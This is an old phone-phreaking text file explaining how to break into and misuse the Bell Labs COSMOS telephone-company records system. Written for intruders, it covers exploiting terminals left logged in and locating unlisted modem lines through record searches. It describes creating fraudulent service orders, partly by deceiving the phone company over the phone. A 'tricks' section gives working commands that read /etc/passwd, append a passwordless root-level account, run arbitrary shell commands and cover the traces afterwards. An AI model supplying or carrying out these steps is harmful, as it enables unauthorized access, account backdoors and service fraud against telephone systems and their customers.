The Definitive Cosmos

PRELUDE
In the past, many files have been written about COSMOS. I have always been rather disappointed in their quality and in their presentation, so I have taken on the responsibility of doing one myself. This should sum up COSMOS for everyone who reads it. It contains formats for very useful commands, an entire transaction list, COSMOS "tricks", and a list of all COSMOS abbreviations and their formats.

INTRODUCTION
Bell Labs COmputer System for Mainframe OperationS (COSMOS) is basically just a database for maintaining records of equipment and other line information and generating reports on that information. The system is usually set up on a DEC PDP 11/45 or 11/70.
The main responsibilities of the COSMOS system are:

              Maintaining records
              Issuing reports
              Processing service and work orders
              Assigning telephone numbers
              Load balancing for switching computers
              Output of ESS recent change information

LOGGING ON
When connecting to COSMOS the system will respond with: ;Login: or LOGIN:
at which point you enter a username. The system will then prompt:
PASSWORD:
at which point you enter the password for that username. Finally, the system will prompt:
WC?
which asks you to enter the wire center for the exchange you will be using in your work. After successfully completing the login sequence you will be given the system prompt which will be the two letter id of the wire center you entered and a percent sign: "WC% "
To log off at this or at any point you can type control-y. One of the major flaws in COSMOS security is that unless a control-y is received the terminal is not logged out, even if the user disconnects. Many times when you connect to COSMOS, you will be dropped right into the "WC% " prompt. This even happens on major BOC packet networks quite often. If you are lucky enough to receive a 'WC#' prompt you have access to the COSNIX shell, and can issue various unix-like commands, like ls, cd, cat, et cetera.
COSMOS usernames are usually issued as two letters corresponding to whatever center will be using that account, and two numbers. EX: LA01
Using the above example "LA01" there will most probably be numerous "LA" accounts, possibly "LA01" through "LA15" or higher. This is true for most COSMOS usernames. More often than not, all accounts used by the same center will have the same password as well. Some common usernames and their owners are:

              ROOT     System Manager
              SYS      System Manager
              ML       Loop Assignment
              LA       Loop Assignment
              DN       Main Distributing Frame
              IN       Repair Service
              RS       Repair Service
              CE       LNAC
              LK       Account to execute INQuiries only
              JA       Mizar
              WLI      Work Load Indicator

Usernames may vary from BOC to BOC, but these are fairly standard.

COSMOS TRANSACTION COMMANDS
COSMOS commands are three letter acronyms. I will explain in depth the commands I have found most useful, and then list the remainder. Remember, do not attempt to learn the formats for COSMOS transactions online. You will probably not figure out correct inputs, and will most likely cause problems for the system manager and yourself. Commands are entered in a specific ways. The command desired is entered at the WC% prompt. A second string of data is entered at the next line which designates the type of transaction desired. This line is prefixed with on of the following four letters: H - Header Line
I - In Line
O - Out Line
R - Remark Line
The most commonly used line is the H line. It is a required input in almost all COSMOS transactions. From the second line on, COSMOS will prompt with an underscore "_" as the system prompt, to let the user know that it is waiting for input. When all needed data has been entered, the command is executed by typing a "." at the beginning of a new line. If you wish to process a command, but stay in command level in order to process further commands after the one you are currently entering has finished, a ";" can be entered at the beginning of a new line. To cancel the transaction you are entering, a "Q" should be entered at the beginning of a new line. To interrupt output, the break character is "^C". When entering criteria, you may enter all like data (all H-line, all I-line, etc...) on one line using a "/" between input prefixes: EX: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB is the same as entering:
H TN 222-0000,222-9999
_H RMKT SWBT?
_H US 1FB
One of the most commonly used commands is INQ (Complete Circuit Inquiry). There is also a short form of INQ called ISH. This command requires only the use of H lines. Multiple H lines can be entered to narrow a search or to print multiple reports. Valid H line facilities used are:

              BL       Bridge Lifter
              CON      Concentrator
              CP       Cable Pair
              CKID     Circuit ID
              MR       Message Register
              OE       Office Equipment Number
              PL       Private Line Circuit Number
              TK       Trunk Cable and Pair Number
              TN       Telephone Number
              TP       Tie Pair
              XN       "X" Number
              TRE      Transmission Equipment
              TER      Terminal Number
              GP       Group Number
              ORD      Work Order

EX: To print information on telephone number 222-2222 WC% INQ
H TN 222-2222
_.
EX: To print information on cable pair 11-1111 WC% INQ
H CP 11-1111
_.
INQ will print a full report whatever circuit you examine, while ISH will print a shorter, easier to read report. Below is an actual ISH done on a Telenet node.

HUNT SEQUENCE FOR TN 225-8004

** ISH COMPLETED 02-29-99 12:00
CA%
When you pull an inquiry on a number that you are interested in, you will be given its cable pair, its order number, any numbers that connect to it through a hunt sequence, and you will see any remarks entered about the number. This information can prove to be very valuable. For instance: You suspect that a company has a modem online, yet you don't want to waste time sequentially dialing thousands of numbers. You can simply enter an ISH on the number to get its cable pair, then begin pulling ISH reports on cable pairs close to the main one. Then you need only dial twenty or so numbers that are in the same area as the main number, and you will find the computer.
Another extremely valuable command is SIR (Sorting Inquiry by Range). With SIR, you can print the circuit information on all lines that match specified criteria within a specified range of numbers. This command requires only H line input, but numerous lines may be entered in order to narrow down the search. You may also use the wildcard character ("?") to encompass a larger range when doing a SIR. There are many applications for SIR, but I will only show examples on a few I have found to be most useful.
Many times entries have special remarks entered about the circuit. These are usually entered as RMKT (Remarks on Telephone Number), but they may be entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable Pair), depending upon what the person entering felt like typing. Most of the time the remarks really don't correspond like they should. Telephone companies are pretty thorough about remarking on a line that they own and they will usually use the RMKT prefix. EX: To find all telephone company (Southwestern Bell) lines in prefix 222 WC% SIR
H TN 222-0000,222-9999
_H RMKT SWBT?
_.
The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same search.
You may also want to search by STT (Telephone number status). Some types of STT are:

              AU   Auxiliary
              NP   Non-published
              OF   Official (telco owned)
              TS   Test

Another way to distinguish types of number is by CS (Customer Class of Service). CS values tend to vary from BOC to BOC, but business lines will usually look like "1FB", or at least contain a "B". Residences will usually look like "1FR." Sometimes telco lines are listed as "1OF", but may also be entered as "1FB". On lines in a hunt group, the CS will be appended with the letter "H", as "1FBH". Let's say a company owns a block on an exchange (333) running from 1000 to 3500. You want to find all possible computer numbers in that area. Chances are good that they are not listed.
EX:
WC% SIR
H TN 333-1000,333-3500
_H STT NP
_H CS 1FB
_.
The above would list all non-published business numbers from 333-1000 to 333-3500.
To find all numbers that are translated 800 numbers in the same prefix range as above, you can do the following:
EX:
WC% SIR
H TN 333-1000,333-3500
_H PL ?800?
_.
This will prints reports on all private lines registered as 800 numbers. There is also a shorter version of SIR, LTN (List Telephone Numbers), and a more detailed version, GFR (General Facility Report), but I have found SIR to be the better of the three to use for my purposes. In order to change line attributes, or to create new lines you will need to use two commands SOE (Service Order Entry), and RCP (Recent Change Packager). These two commands are pretty detailed in what they can do, so I will just cover a few of their options. SOE will allow you to assign a new circuit, and specify the desired telephone number, custom calling features, billing telephone number, etc. SOE requires both "H" and "I" lines of input. The best way to enter a new service order is to have COSMOS pick your new telephone number and assign the needed office equipment number. If you want to pick your own telephone number, the number you pick must have a status (STO) of SP, LI, RS, or PD (with a disconnect date before the due date on your new service order). This is so that you do not try to assign a number that is currently working to your new service order. You can check this by doing an ISH on all the variations of numbers you desire, and checking the STO. You can also get a list of available numbers in a given prefix using the NAI command. You should also do a SIR of recent entries, to try to find the proper format of order numbers, so that you do not reuse one, or make one up that is formatted incorrectly. Another method to make sure that you have the correct formatting of order numbers is to call the phone company and request the installation of a line in the area you are working in. They will tell you your service order number for reference. Later, you can merely cancel the order. You will also have to find a valid cable pair, so do an ISH on whatever number written in your junction box that is not working, and then make sure there is no pending connect orders entered on it.
To enter a service order for a new connection, having COSMOS pick an available telephone number and assign proper office equipment numbers, you would do the following:
EX:
WC% SOE
H ORD SO123456/OT NC/DD DD-MM-YY (Use valid Day, Month, Year for Due Date) _I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY (Use valid cable pair for XX-YYYY) _.
You would now need to enter RCP and make a correctly formatted recent change report for the order you entered so RCMAC can pick up the order and directly enter it into the switch. What RCP does is take your order and change it into actual switch programming, using templates that are stored in directories corresponding to what type of switching equipment is used for that WC. (EX: ess5a)
EX: To create a recent change package for the order entered above WC% RCP
H ORD SO123455
_.
Using SOE you can specify custom calling features, you can specify billing telephone numbers, you can establish service as coin, and several other options by adding "I" line information corresponding to that particular option.

              _I CCF XXXXXX       (XXXXXX is valid custom calling features)
              _I BTN NNX-XXXX     (NNX-XXXX is valid billing TN)
              _I TT C

To get a list of spare (available) telephone numbers in a given prefix, you can use the NAI (Telephone Number Assignment Inquiry) command. You only need enter H line criteria. In addition to searching by prefix (NNX), you can search by switch type (TYP), or rate zone (RTZ). EX: To select one spare telephone number in 555 and make it reserved status WC% NAI
H TT X/NNX 555/STT RS
_.
You may also have NAI print out several available numbers, however, you cannot change the status unless you are printing one listing. EX:
WC% NAI
H TT X/NNX 555/LC XX (Where XX is a number between 1 and 25) _.
To get a listing of all prefixes that exist in the Wire Center you are logged in under, you can use the command DDS (Display DS Table). This command will list the ranges that exist for a given input. To list all telephone numbers in a given WC: WC% DDS
H TN ?
_.
To list all cable pair ranges:
WC% DDS
H CP ?
_.
To change from one Wire Center to another, you use the command WCC (Wire Center Change). This is a very straight forward command. EX:
WC% WCC NW
NW%
To allow for redirection in your COSMOS commands, you must execute the DIO command. This command is rather important for manipulating commands to work for you.
EX:
WC% DIO
To see what transactions other people logged in are running, you can use the command TSNAP (on certain generics)
EX:
WC% TSNAP
There are about one hundred other COSMOS commands that are all defined at the end of this file. I cannot go into detail on all of them but I will list them and their meanings.

COSMOS TRICKS
Even if you don't have full COSNIX access, you can basically execute any command or read any file that exists in the system. Using the INQ (or ISH) command and redirection, you can open and display any file. EX: To display the password file
WC% INQ </ETC/PASSWD
This will display the file, however, since this is a flaw in the command, it thinks the file is to be input for INQ, and each line will be preceded with "ILLEGAL LINE TYPE", but this can be ignored. Other files to look at:

/USR/FACS/WCFILE     List of all Wire Centers
/ETC/MATRIX.P        Permission Matrix (Who can execute what commands)

You may or may not want to try the following. There is a high probability that you will be noticed on the system. If your local COSMOS ports are usually left logged in, don't bother doing this. However, if your COSMOS ports are always logged out, and you almost never get in, and you happen to stumble upon one left logged for the first time in months, it might be worth a try.
There are a few ways to make a new account on COSMOS; however, you need to be able to write to the password file. Some systems allow this, but most do not.
The easiest way involves using the echo command and redirection. EX:
WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd This will add user EB01 to the end of the password file. If you do not have access to echo you can do the same thing using the TED command (Text Editor).
WC% TED >>/etc/passwd
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y on NO) Y
1d
a
EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so ^C
1p
w
q
After executing the above, you will need to clean up the /etc/passwd file to remove the Service Order information put in there by TED. You will also need to remove the service order you created from the /usr/so/WC directory.
If you cannot find a way to get shell access, you can still execute any COSNIX command you desire again using TED, MSK (Output a Transaction Mask), and ARG (Assemble and Run a Given Master File). EX:
WC% TED
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y or NO) Y
12
1d
a
$*
run!
^c
w
q
WC% MSK >/usr/so/newcmd
SO123456
WC% ARG
newcmd ls /etc
To execute the command, you need to do ARG, then the name of the file (which I called newcmd), then the COSNIX command you wish to execute.
If you can use echo this can be done much easier. EX:
WC% echo '$*' >/usr/so/newcmd
WC% echo 'run!' >>/usr/so/newcmd
Then you can run your command normally with ARG. WC% ARG
newcmd cd ..
IF you do not have access to echo, create a newcmd file and you can use it that way.
WC% ARG
newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd
